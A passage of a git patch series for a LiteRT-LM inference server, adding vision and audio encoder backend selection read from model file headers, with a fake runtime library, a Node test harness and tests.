msg_str.c_str(), "{}", oa, StreamCallback, &q); L.litert_lm_conversation_optional_args_delete(oa); // Declared after the queue and the conversation, so it runs before either is destroyed. diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index 144f269..3f9432f 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -15,12 +15,19 @@ // "constrained=1 tools=1 provider=0 constraint=0 creates=3", where creates counts every litert_lm_conversation_create // call in the process. A regex that does not compile fails the send as llguidance does // (llg_constraint_provider.cc:155-160). +// +// With FAKE_LITERT_LM_CALLS set to a file, the calls that say what the server asked the runtime for are appended to it, +// one JSON object per line ({"call": "", ...its arguments}), for +// model-settings.test.mjs to read. +#include #include +#include #include #include "c/conversation.h" #include "c/engine.h" #include "c/error_reporter.h" +#include "nlohmann/json.hpp" struct LiteRtLmEngineSettings { std::string model; @@ -50,6 +57,17 @@ namespace { std::string g_error; int g_creates = 0; +void Record(const nlohmann::json& call) { + static std::mutex mu; + const char* path = std::getenv("FAKE_LITERT_LM_CALLS"); + if (!path || !*path) return; + std::lock_guard lock(mu); + if (FILE* f = std::fopen(path, "a")) { + std::fputs((call.dump() + "\n").c_str(), f); + std::fclose(f); + } +} + bool Is(const std::string& model, const char* kind) { return model.rfind(kind, 0) == 0; } std::string Basename(const char* path) { @@ -68,7 +86,10 @@ LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, return new LiteRtLmEngineSettings{Basename(model_path)}; } void litert_lm_engine_settings_delete(LiteRtLmEngineSettings* s) { delete s; } -LiteRtLmEngine* litert_lm_engine_create(const LiteRtLmEngineSettings* s) { return new LiteRtLmEngine{s->model}; } +LiteRtLmEngine* litert_lm_engine_create(const LiteRtLmEngineSettings* s) { + Record({{"call", "engine_create"}, {"model", s->model}}); + return new LiteRtLmEngine{s->model}; +} void litert_lm_engine_delete(LiteRtLmEngine* e) { delete e; } LiteRtLmSessionConfig* litert_lm_session_config_create() { return new LiteRtLmSessionConfig; } diff --git a/engines/litert-lm-server/testdata/harness.mjs b/engines/litert-lm-server/testdata/harness.mjs new file mode 100644 index 0000000..8d2bbc8 --- /dev/null +++ b/engines/litert-lm-server/testdata/harness.mjs @@ -0,0 +1,224 @@ +// What the server's tests share (constrained-decoding.test.mjs, model-settings.test.mjs): building the server for this +// machine with c++, as parent-death.test.mjs does, against testdata/fake_litert_lm.cc, a stand-in liblitert-lm.so; +// starting it; sending it requests, every wait bounded; and writing stand-in .litertlm files. +// Linux only, and skipped without a C and a C++ compiler. +import assert from 'node:assert/strict' +import { spawn, spawnSync } from 'node:child_process' +import { existsSync, readFileSync, writeFileSync } from 'node:fs' +import { createServer } from 'node:net' +import { join } from 'node:path' +import { fileURLToPath } from 'node:url' + +export const root = fileURLToPath(new URL('..', import.meta.url)) + +// A compiler that does not answer in 10 s counts as missing (the timeout sets .error), so a file skips cleanly. +const missing = ['cc', 'c++'].filter((c) => spawnSync(c, ['--version'], { stdio: 'ignore', timeout: 10_000 }).error) +export const skip = process.platform !== 'linux' ? 'the server is tested on Linux only' + : missing.length ? `no ${missing.join(' or ')} on this machine` : false +export const realLibrary = process.env.LITERT_LM_TEST_LIBRARY +export const realModels = (process.env.LITERT_LM_TEST_MODELS ?? '').split(',').filter(Boolean) +export const skipReal = skip || (!realLibrary || !realModels.length + ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS to run the server on real models' : false) + +// Builds the stand-in library and the server into `work`; returns the server's path. The stand-in is +// testdata/fake_litert_lm.cc, and every other function the server resolves (src/litert_lm_api.h) as one that does +// nothing. Beside the server, where LoadLiteRtLm looks first after LITERT_LM_LIBRARY. Each build is bounded by +// itself: spawnSync holds the event loop, so a hook's own timeout cannot end one. +export function buildServer(work) { + const header = readFileSync(join(root, 'src', 'litert_lm_api.h'), 'utf8') + const names = [...header.matchAll(/^\s*X\((\w+)\)/gm)].map((m) => m[1]) + assert.ok(names.length > 40, 'the C API list in litert_lm_api.h was not found') + const source = readFileSync(join(root, 'testdata', 'fake_litert_lm.cc'), 'utf8') + const defined = new Set([...source.matchAll(/^\S.*?\b(litert_lm_\w+)\(/gm)].map((m) => m[1])) + writeFileSync(join(work, 'rest.c'), names.filter((n) => !defined.has(n)).map((n) => `void ${n}(void) {}\n`).join('')) + const cxx = (args) => { + const r = spawnSync('c++', args, { encoding: 'utf8', timeout: 120_000 }) + assert.equal(r.status, 0, r.error ? `c++: ${r.error.message}` : r.stderr) + } + cxx([ + '-std=c++17', '-shared', '-fPIC', '-x', 'c++', join(root, 'testdata', 'fake_litert_lm.cc'), '-x', 'c', join(work, 'rest.c'), + '-I', join(root, 'third_party', 'litert_lm'), '-I', join(root, 'third_party'), '-o', join(work, 'liblitert-lm.so'), + ]) + const binary = join(work, 'litertlm_server') + cxx([ + '-std=c++17', '-O0', '-w', '-I', join(root, 'third_party', 'litert_lm'), '-I', join(root, 'third_party'), + '-DLITERT_LM_VERSION="test"', join(root, 'src', 'main.cc'), join(root, 'src', 'litert_lm_api.cc'), + '-ldl', '-pthread', '-o', binary, + ]) + return binary +} + +// Every server started here, so a file's after() can kill what its tests left. +export const servers = [] +export function killServers() { + for (const s of servers) { + try { + process.kill(s.pid, 'SIGKILL') + } catch {} + } +} + +export function freePort() { + return new Promise((resolve, reject) => { + const s = createServer().once('error', reject) + s.listen(0, '127.0.0.1', () => { + const { port } = s.address() + s.close(() => resolve(port)) + }) + }) +} + +export async function startServer(binary, env, args = []) { + const port = await freePort() + const child = spawn(binary, ['serve', '--host', '127.0.0.1', '--port', String(port), ...args], { env, stdio: ['ignore', 'ignore', 'pipe'] }) + servers.push(child) + const server = { port, stderr: '', child } + child.stderr.setEncoding('utf8') + child.stderr.on('data', (d) => { server.stderr += d }) + await new Promise((resolve, reject) => { + // It logs this before it loads any model, so 30 s is plenty; the server is killed when the tests end. + const timer = setTimeout(() => reject(new Error(`the server did not start in 30 s: ${server.stderr}`)), 30_000) + const onData = () => { + if (server.stderr.includes('Starting OpenAI-compatible API server')) { + clearTimeout(timer) + resolve() + } + } + child.stderr.on('data', onData) + child.once('exit', (code) => { + clearTimeout(timer) + reject(new Error(`the server exited ${code}: ${server.stderr}`)) + }) + }) + return server +} + +export function stopServer(server) { + try { + process.kill(server.child.pid, 'SIGKILL') + } catch {} +} + +// fetch, bounded: without a signal undici waits 300 s for a reply's headers and then says only "fetch failed". +export async function request(url, init, ms) { + const signal = AbortSignal.timeout(ms) + try { + const res = await fetch(url, { ...init, signal }) + return { status: res.status, text: await res.text() } + } catch (err) { + if (!signal.aborted) throw err + throw new Error(`${init?.method ?? 'GET'} ${url} ${init?.body ?? ''}: no reply in ${ms / 1000} s`) + } +} + +// A stand-in answers at once; a real model gets longer, since it loads on its first request. +export async function chat(server, body, ms = 30_000) { + const res = await request(`http://127.0.0.1:${server.port}/v1/chat/completions`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(body), + }, ms) + const text = res.text + if (body.stream && res.status === 200) { + const events = text.split('\n\n').filter((e) => e.startsWith('data: ')).map((e) => e.slice(6)) + assert.equal(events.at(-1), '[DONE]', text) + const chunks = events.slice(0, -1).map((e) => JSON.parse(e)) + return { + status: res.status, + content: chunks.map((c) => c.choices[0]?.delta?.content ?? '').join(''), + reasoning: chunks.map((c) => c.choices[0]?.delta?.reasoning_content ?? '').join(''), + finish: chunks.at(-1).choices[0].finish_reason, + chunks, + } + } + const json = JSON.parse(text) + if (res.status !== 200) return { status: res.status, error: json.error.message } + return { + status: res.status, + content: json.choices[0].message.content ?? '', + reasoning: json.choices[0].message.reasoning_content ?? '', + tool_calls: json.choices[0].message.tool_calls, + finish: json.choices[0].finish_reason, + usage: json.usage, + } +} + +export const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) + +// What the server has logged, all of it up to now: a reply can arrive before the lines logged while it was made. With +// --verbose the server logs each request as it reads it, so once a GET /health made now shows up, all are in. +export async function logged(server) { + const marks = () => server.stderr.split('\n').filter((l) => l === 'GET /health').length + const seen = marks() + assert.equal((await request(`http://127.0.0.1:${server.port}/health`, undefined, 5000)).status, 200) + for (const end = Date.now() + 5000; marks() === seen && Date.now() < end;) await sleep(10) + assert.ok(marks() > seen, 'the server did not log GET /health') + return server.stderr.split('\n') +} + +// The calls the stand-in library logged (FAKE_LITERT_LM_CALLS, one JSON object per line), in order. +export function calls(file) { + return existsSync(file) ? readFileSync(file, 'utf8').split('\n').filter(Boolean).map((l) => JSON.parse(l)) : [] +} + +// A stand-in .litertlm the server can read as the runtime does: "LITERTLM", three uint32 versions, padding, the +// uint64 header end, then the header FlatBuffer (schema/core/litertlm_header_schema.fbs) listing `sections`, each +// { type, bytes } (5 = LlmMetadataProto, 9 = ExecutorMetadataProto), which follow at 16 KiB steps as in real files. +// The stand-in library reads only the file's name. +export function litertlmFile(path, sections) { + const u16 = (v) => { const b = Buffer.alloc(2); b.writeUInt16LE(v); return b } + const u32 = (v) => { const b = Buffer.alloc(4); b.writeUInt32LE(v); return b } + const i32 = (v) => { const b = Buffer.alloc(4); b.writeInt32LE(v); return b } + const u64 = (v) => { const b = Buffer.alloc(8); b.writeBigUInt64LE(BigInt(v)); return b } + // Laid out front to back; every uoffset points forward, as FlatBuffers requires, and each vtable sits right before + // its table. Fields: root.section_metadata (1), section_metadata.objects (0), SectionObject begin (1), end (2), + // type (3). + const parts = [] + let pos = 0 + const put = (b) => { parts.push(b); pos += b.length; return pos - b.length } + const fixups = [] // [position of a uoffset, function returning its target] + put(u32(0)) // root uoffset, fixed below + const rootVt = put(Buffer.concat([u16(8), u16(8), u16(0), u16(4)])) + const rootTable = put(Buffer.concat([i32(8), u32(0)])) + fixups.push([rootTable + 4, () => metaTable]) + const metaVt = put(Buffer.concat([u16(6), u16(8), u16(4), u16(0)])) + const metaTable = put(Buffer.concat([i32(8), u32(0)])) + fixups.push([metaTable + 4, () => vector]) + const vector = put(Buffer.concat([u32(sections.length), ...sections.map(() => u32(0))])) + const tables = sections.map((s, k) => { + put(Buffer.concat([u16(12), u16(24), u16(0), u16(4), u16(12), u16(20)])) + const t = put(Buffer.concat([i32(12), u64(16384 * (k + 1)), u64(16384 * (k + 1) + s.bytes.length), Buffer.from([s.type, 0, 0, 0])])) + fixups.push([vector + 4 + 4 * k, () => t]) + return t + }) + assert.equal(rootVt, 4) + assert.ok(tables.length === sections.length && metaVt > 0) + const header = Buffer.concat(parts) + header.writeUInt32LE(rootTable, 0) + for (const [at, target] of fixups) header.writeUInt32LE(target() - at, at) + const preamble = Buffer.concat([Buffer.from('LITERTLM'), u32(1), u32(0), u32(0), u32(0), u64(32 + header.length)]) + const file = Buffer.alloc(16384 * (sections.length + 1)) + Buffer.concat([preamble, header]).copy(file) + sections.forEach((s, k) => s.bytes.copy(file, 16384 * (k + 1))) + writeFileSync(path, file) + return path +} + +// Protobuf encoding, for the sections above: field(n, bytes or a nested array of fields), varint(n, v). +export const proto = { + varint(n, v) { + const out = [n << 3] + for (; v > 127; v >>>= 7) out.push((v & 127) | 128) + out.push(v) + return Buffer.from(out) + }, + field(n, value) { + const body = Buffer.isBuffer(value) ? value : Array.isArray(value) ? Buffer.concat(value) : Buffer.from(value) + const len = [] + for (let v = body.length; ; v >>>= 7) { + if (v > 127) len.push((v & 127) | 128) + else { len.push(v); break } + } + return Buffer.concat([Buffer.from([(n << 3) | 2, ...len]), body]) + }, +} From 243572aabcda7251056cc83903e0380b194d0725 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 19:38:04 +0000 Subject: [PATCH 68/80] fix(litert-lm-server): models that take images or audio get encoders Every image sent to a model that takes images failed. The server created the engine settings with no vision or audio backend (litert_lm_engine_settings_create(path, backend, nullptr, nullptr)), and LiteRT-LM creates a vision or audio executor only for a backend named there (c/engine.cc, CreateEngineSettingsHelper, in 0.18.0), so on LFM2.5-VL-450M int4 a 64x64 red PNG with "What color is this image?" got a 500 "RuntimeError: INVALID_ARGUMENT: Vision executor should not be null, please TryLoadingVisionExecutor() first." while the file's header lists a vision encoder and adapter. The Python `litert-lm serve` picks both backends from the model's own file (util.get_or_initialize_server_engine and model.parse_backend: the config's vision_backend or audio_backend, else the encoder section's first backend_constraint, else cpu), and this server read neither config key. An image sent to a model without vision input got the same 500, gemma-3-270m-it's included. Text-only chats were unaffected. Older bug: origin/main has it (the same nullptr, nullptr since f9bd21c). - engines/litert-lm-server/src/main.cc: the server reads which inputs the model file takes, and on which backends, from the file's own header, as LiteRT-LM 0.18.0 does (DiscoverSections and ParseBackendConstraint in schema/model_info/model_info.cc): each TFLite section's model_type and backend_constraint items, a vision or audio encoder or adapter being that input. It does so once per version of the file (its size and modification time; with the header check and the header reading, now in FileInfo, still before any loaded engine is released). Not through the C API's litert_lm_loaded_file_*, which answer the same but read whole model sections into memory to do it: every vision section, and the main model when the file's LlmMetadata gives no context size. For gemma-3-270m-it that raised the server's peak memory by 285 MB (44 to 330 MB) before any engine was created; for LFM2.5-VL-450M by 86 MB. A model that takes images or audio gets that encoder on the config's vision_backend or audio_backend when it sets one, else on the first backend its file lists, which is what `litert-lm serve` picks. Both are part of the engine's key and are logged with the backend. A config key for an input the model does not take is not used, and the server says so once per model ("vision_backend in the config is not used for : it takes no vision input"). An image or audio part (an image_url or input_audio part, or LiteRT-LM's own image or audio part), in any message, sent to a model whose header lists no such input, is a 400 "Invalid messages: takes no image input" (or audio), before anything loads; a file whose header the server cannot read is left to the runtime, as before. - engines/litert-lm-server/testdata/harness.mjs: stand-in .litertlm files are built with a small FlatBuffer writer, so that their sections can carry items (model_type, backend_constraint) as real files do. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: an image sent to LFM2.5-VL (or audio to a model with an audio encoder) is answered: "Red", 278 prompt tokens, for the red PNG on LFM2.5-VL-450M int4. A model that takes images or audio holds its encoder from the moment it loads, for text-only chats too: about 0.2 GB more resident memory for LFM2.5-VL-450M on this host's CPU without the compiled-model cache (3.19 GB against 2.97 GB after a text request), and no measurable change in its load time (6.6 to 7.8 s either way without the cache). An image or audio part sent to a model without that input is a 400 instead of a 500, and that model is not loaded for it. The config's vision_backend and audio_backend keys, which the Python server's config file has, are now read. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs the backends each engine is created with, on stand-in files whose headers list a text decoder and vision or audio encoders with and without backend constraints: "a model that takes images or audio gets its encoders, on the backend it prefers, and a model that does not gets none", "the config's vision_backend and audio_backend are used for a model that takes that input, and said to be unused otherwise" and "an image or audio part sent to a model without that input is a 400 that says so, before the model loads"; with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_VISION_MODELS set, "a real model that takes images sees one: " (the red PNG must be called red); and with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS or LITERT_LM_TEST_VISION_MODELS set, "a real model's file is read for what it takes without reading its model into memory: " (audio sent to a model that takes none is refused once the file is read, before any engine is created, and the server's peak memory, VmHWM, must not grow by 32 MB). With main.cc as it was, the first four fail: no vision backend, 200s from the stand-in for the 400s, and on LFM2.5-VL-450M int4 the 500 above. Asking the C API instead, the last fails on gemma-3-270m-it (44 MB idle, 330 MB after its file was read) and LFM2.5-VL-450M int4 (44 MB, 130 MB), and passes on LFM2.5-230M_int8 and Qwen3-0.6B, whose LlmMetadata gives a context and which have no vision section. No existing test changed. Not run on a device: the memory and load time of a vision or audio encoder on the GPU backend (Gemma 3n and Gemma 4 take both), and whether a GPU-only encoder loads there. --- BUILDING-ENGINES.md | 12 + .../litert-lm-server/model-settings.test.mjs | 152 ++++++++++- engines/litert-lm-server/src/main.cc | 248 ++++++++++++++---- .../testdata/fake_litert_lm.cc | 6 +- engines/litert-lm-server/testdata/harness.mjs | 127 ++++++--- 5 files changed, 462 insertions(+), 83 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index aa98859..8c813ee 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -368,6 +368,18 @@ answers. `node --test engines/litert-lm-server/model-settings.test.mjs` checks w a new engine against the stand-in library, and on real models (see the file) that a conversation's reply does not depend on the ones before it. +**A model that takes images or audio gets its encoders**, on the backend its file prefers (the +encoder section's first `backend_constraint`, else CPU, as `litert-lm serve` chooses) or on the +config's `vision_backend` or `audio_backend`. Without a backend named for it LiteRT-LM creates no +vision or audio executor, and every image sent to LFM2.5-VL-450M got a 500. The encoders come +with the engine, so a text-only chat with such a model holds them too: about 0.2 GB more +resident memory for LFM2.5-VL-450M on CPU without the compiled-model cache; GPU unmeasured. An +image or audio part sent to a model without that input is a 400 that says so, before anything +loads. Which inputs a file takes, on which backends, the server reads from the file's header +itself, as LiteRT-LM does. The C API's `litert_lm_loaded_file_*` answer the same, but read whole +model sections into memory to do it (every vision section, and the main model when its metadata +gives no context size): 285 MB for gemma-3-270m-it, before any engine loads. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index d82a71b..3865eae 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -11,18 +11,24 @@ // LITERT_LM_TEST_LIBRARY= LITERT_LM_TEST_MODELS=[,...] \ // node --test engines/litert-lm-server/model-settings.test.mjs // (an LFM2 one: litert-community/LFM2.5-230M on Hugging Face; a Gemma one: litert-community/gemma-3-270m-it). +// LITERT_LM_TEST_VISION_MODELS (the same form) names models that take images (litert-community/LFM2.5-VL-450M). // Every server a test starts is killed by pid when that test ends, or at the latest when the tests end. Every wait is // bounded. import assert from 'node:assert/strict' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { basename, join } from 'node:path' +import { deflateSync } from 'node:zlib' import { after, before, test } from 'node:test' import { buildServer, calls, chat, killServers, litertlmFile, logged, proto, realLibrary, realModels, skip, skipReal, startServer, stopServer, } from './testdata/harness.mjs' +const visionModels = (process.env.LITERT_LM_TEST_VISION_MODELS ?? '').split(',').filter(Boolean) +const skipVision = skip || (!realLibrary || !visionModels.length + ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_VISION_MODELS to run the server on models that take images' : false) + const work = mkdtempSync(join(tmpdir(), 'litert-lm-server-ms-test-')) // What before() is still doing. With a --test-name-pattern that leaves no test in this file, node runs after() while // before() is starting the server, and removing `work` under it failed the file (spawn ... ENOENT); so after() waits. @@ -140,3 +146,147 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +// A 64x64 red PNG. +const redPng = (() => { + const crcTable = Array.from({ length: 256 }, (_, n) => { + let c = n + for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1 + return c >>> 0 + }) + const crc = (b) => { let c = 0xffffffff; for (const x of b) c = crcTable[(c ^ x) & 255] ^ (c >>> 8); return (c ^ 0xffffffff) >>> 0 } + const chunk = (type, data) => { + const len = Buffer.alloc(4); len.writeUInt32BE(data.length) + const body = Buffer.concat([Buffer.from(type), data]) + const sum = Buffer.alloc(4); sum.writeUInt32BE(crc(body)) + return Buffer.concat([len, body, sum]) + } + const ihdr = Buffer.alloc(13); ihdr.writeUInt32BE(64, 0); ihdr.writeUInt32BE(64, 4); ihdr.set([8, 2, 0, 0, 0], 8) + const rows = Buffer.concat(Array.from({ length: 64 }, () => Buffer.concat([Buffer.from([0]), Buffer.alloc(192, Buffer.from([255, 0, 0]))]))) + return Buffer.concat([Buffer.from([137, 80, 78, 71, 13, 10, 26, 10]), chunk('IHDR', ihdr), chunk('IDAT', deflateSync(rows)), chunk('IEND', Buffer.alloc(0))]) +})() +const imageMessage = (text) => [{ role: 'user', content: [ + { type: 'image_url', image_url: { url: `data:image/png;base64,${redPng.toString('base64')}` } }, + { type: 'text', text }, +] }] +const audioMessage = [{ role: 'user', content: [{ type: 'input_audio', input_audio: { data: 'AAAA', format: 'wav' } }, { type: 'text', text: 'What is this?' }] }] + +// A stand-in file whose header lists `sections`, by default a text decoder alone: TFLite sections, each with its +// model_type and, when given, its backend_constraint, as LiteRT-LM's builder writes them. The server reads the header; +// the stand-in library reads only the file's name. +const tflite = (model_type, backend_constraint) => ({ type: 3, items: { model_type, ...(backend_constraint ? { backend_constraint } : {}) } }) +const decoder = tflite('tf_lite_prefill_decode') +const readable = (name, sections = [decoder]) => litertlmFile(join(work, `${name}.litertlm`), sections) +// One with no header the server can read, which is left to the runtime. +const unreadable = (name) => { + const path = join(work, `${name}.litertlm`) + writeFileSync(path, 'stand-in model') + return path +} +const inputs = { + text: [decoder], + vl: [decoder, tflite('tf_lite_embedder'), tflite('tf_lite_vision_encoder'), tflite('tf_lite_vision_adapter')], // LFM2.5-VL-450M's + 'gpu-vision': [decoder, tflite('tf_lite_vision_encoder', 'gpu')], + audio: [decoder, tflite('tf_lite_audio_encoder_hw', 'cpu')], + omni: [decoder, tflite('tf_lite_vision_encoder', 'cpu, GPU'), tflite('tf_lite_audio_adapter', 'cpu')], +} +const settingsOf = (log) => log.filter((c) => c.call === 'engine_settings_create').map(({ backend, vision_backend, audio_backend }) => ({ backend, vision_backend, audio_backend })) + +test('a model that takes images or audio gets its encoders, on the backend it prefers, and a model that does not gets none', { skip, timeout: 60_000 }, async () => { + const expected = { + text: { backend: 'cpu', vision_backend: null, audio_backend: null }, + vl: { backend: 'cpu', vision_backend: 'cpu', audio_backend: null }, + 'gpu-vision': { backend: 'cpu', vision_backend: 'gpu', audio_backend: null }, + audio: { backend: 'cpu', vision_backend: null, audio_backend: 'cpu' }, + omni: { backend: 'cpu', vision_backend: 'cpu', audio_backend: 'cpu' }, + unreadable: { backend: 'cpu', vision_backend: null, audio_backend: null }, + } + for (const [name, settings] of Object.entries(expected)) { + const path = name === 'unreadable' ? unreadable(name) : readable(name, inputs[name]) + const log = await callsDuring(async () => assert.equal((await chat(fake, { model: `${path},cpu`, messages: hello })).status, 200)) + assert.deepEqual(settingsOf(log), [settings], name) + } +}) + +test('the config\'s vision_backend and audio_backend are used for a model that takes that input, and said to be unused otherwise', { skip, timeout: 60_000 }, async () => { + const config = join(work, 'encoders.json') + writeFileSync(config, JSON.stringify({ + default: { audio_backend: 'gpu' }, + models: { 'vl-configured.litertlm': { vision_backend: 'GPU' }, 'text-configured.litertlm': { vision_backend: 'gpu' } }, + })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: '', FAKE_LITERT_LM_CALLS: callLog }, ['--config', config, '--verbose']) + try { + const settings = async (name) => settingsOf(await callsDuring(async () => { + assert.equal((await chat(server, { model: readable(name, inputs[name.split('-')[0]]), messages: hello })).status, 200) + })) + assert.deepEqual(await settings('vl-configured'), [{ backend: 'cpu', vision_backend: 'gpu', audio_backend: null }]) + assert.deepEqual(await settings('text-configured'), [{ backend: 'cpu', vision_backend: null, audio_backend: null }]) + assert.deepEqual(await settings('omni-configured'), [{ backend: 'cpu', vision_backend: 'cpu', audio_backend: 'gpu' }]) + const lines = await logged(server) + assert.ok(lines.includes('vision_backend in the config is not used for text-configured.litertlm: it takes no vision input'), server.stderr) + assert.ok(lines.includes('audio_backend in the config is not used for vl-configured.litertlm: it takes no audio input'), server.stderr) + } finally { + stopServer(server) + } +}) + +test('an image or audio part sent to a model without that input is a 400 that says so, before the model loads', { skip, timeout: 60_000 }, async () => { + const text = readable('text-only') + for (const [messages, input] of [[imageMessage('What color is this?'), 'image'], [audioMessage, 'audio']]) { + for (const stream of [false, true]) { + const log = await callsDuring(async () => { + const reply = await chat(fake, { model: text, messages, stream }) + assert.deepEqual(reply, { status: 400, error: `Invalid messages: text-only.litertlm takes no ${input} input` }) + }) + assert.deepEqual(settingsOf(log), [], 'nothing loaded') + } + } + // An image earlier in the conversation counts too. + const reply = await chat(fake, { model: text, messages: [...imageMessage('What color is this?'), { role: 'assistant', content: 'Red.' }, ...hello] }) + assert.equal(reply.status, 400) + // A model that takes it, and one whose header the server cannot read (left to the runtime, as before), get it. + assert.equal((await chat(fake, { model: readable('vl', inputs.vl), messages: imageMessage('What color is this?') })).status, 200) + assert.equal((await chat(fake, { model: readable('omni', inputs.omni), messages: audioMessage })).status, 200) + assert.equal((await chat(fake, { model: unreadable('unreadable'), messages: imageMessage('What color is this?') })).status, 200) +}) + +// The server's peak resident memory, from /proc (Linux, as the tests are). +const peakMb = (server) => Number(/^VmHWM:\s+(\d+) kB/m.exec(readFileSync(`/proc/${server.child.pid}/status`, 'utf8'))[1]) / 1024 + +for (const path of [...new Set([...realModels, ...visionModels])].length ? [...new Set([...realModels, ...visionModels])] : ['']) { + test(`a real model's file is read for what it takes without reading its model into memory: ${path}`, { skip: skipReal && skipVision, timeout: 300_000 }, async (t) => { + // No compiled-model cache, as in every real-model test: a model that is loaded after all (one that takes audio, or + // a refusal that broke) would otherwise get one beside it, as large as the model. + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const idle = peakMb(server) + // Audio, which none of the litert-community files named above takes: refused once the file is read, before any + // engine is created, so the peak is what reading the file cost. + const reply = await chat(server, { model: `${path},cpu`, messages: audioMessage, max_completion_tokens: 1 }, 300_000) + if (reply.status === 200) return t.skip(`${basename(path)} takes audio, so it was loaded`) + assert.equal(reply.error, `Invalid messages: ${basename(path)} takes no audio input`) + assert.ok(peakMb(server) - idle < 32, `${basename(path)}: peak ${idle.toFixed(0)} MB idle, ${peakMb(server).toFixed(0)} MB after its file was read`) + } finally { + stopServer(server) + } + }) +} + +for (const path of visionModels.length ? visionModels : ['']) { + test(`a real model that takes images sees one: ${path}`, { skip: skipVision, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const reply = await chat(server, { model: `${path},cpu`, messages: imageMessage('What color is this image? Answer in one word.'), max_completion_tokens: 16 }, 300_000) + assert.equal(reply.status, 200, reply.error) + assert.match(reply.content, /red/i) + const plain = await chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Say hello.' }], max_completion_tokens: 16 }, 300_000) + assert.equal(plain.status, 200, plain.error) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index c462f5e..399591b 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -13,8 +13,8 @@ // The model loads lazily on the first chat request and stays loaded while requests keep // naming the same model and settings (util.get_or_initialize_server_engine). // - --config is the CLI's config file: {"default": {...}, "models": {"": {...}}}, of -// which the serve path reads backend, cpu_thread_count, max_num_tokens, cache, -// speculative_decoding, gpu_decode_steps_per_sync, thinking and thinking_budget. +// which the serve path reads backend, vision_backend, audio_backend, cpu_thread_count, +// max_num_tokens, cache, speculative_decoding, gpu_decode_steps_per_sync, thinking and thinking_budget. // - A failed request reports the runtime's own message in the HTTP status line, as // BaseHTTPRequestHandler.send_error does, because that is where the daemon's warm-up reads it. // @@ -33,6 +33,7 @@ // the model cannot follow, or whose regex or schema cannot be compiled, is a 400, not a 500. // - A new engine for each conversation of a model whose decoder keeps a recurrent state (LFM2), which the runtime // would otherwise carry from one conversation into the next (see GetOrCreateEngine). +// - An image or audio part sent to a model that takes no such input is a 400 that says so, not the runtime's 500. // // Not translated: /v1/responses, /v1/embeddings and the Gemini API (TurboLLM uses none of them // with this engine), and image URLs other than base64 data: URLs (remote URLs, and local paths, which the Python @@ -65,6 +66,7 @@ #include #include #include +#include #include #include #include @@ -150,7 +152,7 @@ std::string AbsPath(const std::string& p) { // ── Config (litert_lm_cli/config.py) ───────────────────────────────────────────────────── struct ModelConfig { - std::optional backend; + std::optional backend, vision_backend, audio_backend; std::optional cpu_thread_count; std::optional max_num_tokens; std::optional cache; @@ -161,6 +163,8 @@ struct ModelConfig { void MergeFrom(const ModelConfig& o) { if (o.backend) backend = o.backend; + if (o.vision_backend) vision_backend = o.vision_backend; + if (o.audio_backend) audio_backend = o.audio_backend; if (o.cpu_thread_count) cpu_thread_count = o.cpu_thread_count; if (o.max_num_tokens) max_num_tokens = o.max_num_tokens; if (o.cache) cache = o.cache; @@ -187,6 +191,8 @@ ModelConfig ParseModelConfig(const json& j) { return std::nullopt; }; c.backend = str("backend"); + c.vision_backend = str("vision_backend"); + c.audio_backend = str("audio_backend"); c.cpu_thread_count = num("cpu_thread_count"); c.max_num_tokens = num("max_num_tokens"); c.cache = str("cache"); @@ -287,17 +293,21 @@ struct ModelFileInfo { // The decoder keeps a recurrent state besides its KV cache: LFM2's short-convolution cache (the kv_cache_c_* inputs), // or any linear-attention state. See GetOrCreateEngine for why that matters. bool recurrent_state = false; + // What the header's TFLite sections say, when the header could be read: for image and for audio input, the backends + // the file's encoder supports, the one it prefers first; none when it takes no such input. + bool capabilities_known = false; + std::vector vision_backends, audio_backends; }; -// Bounds-checked reads of a FlatBuffer: just what the header's section list needs. Little-endian, as are the -// FlatBuffer format and every ABI the server is built for. +// Bounds-checked reads of a FlatBuffer of `size` bytes, through `read`: just what the server needs of the header's +// section list. Little-endian, as are the FlatBuffer format and every ABI the server is built for. struct FbReader { - const std::string& b; + std::function read; // called only within the bounds + 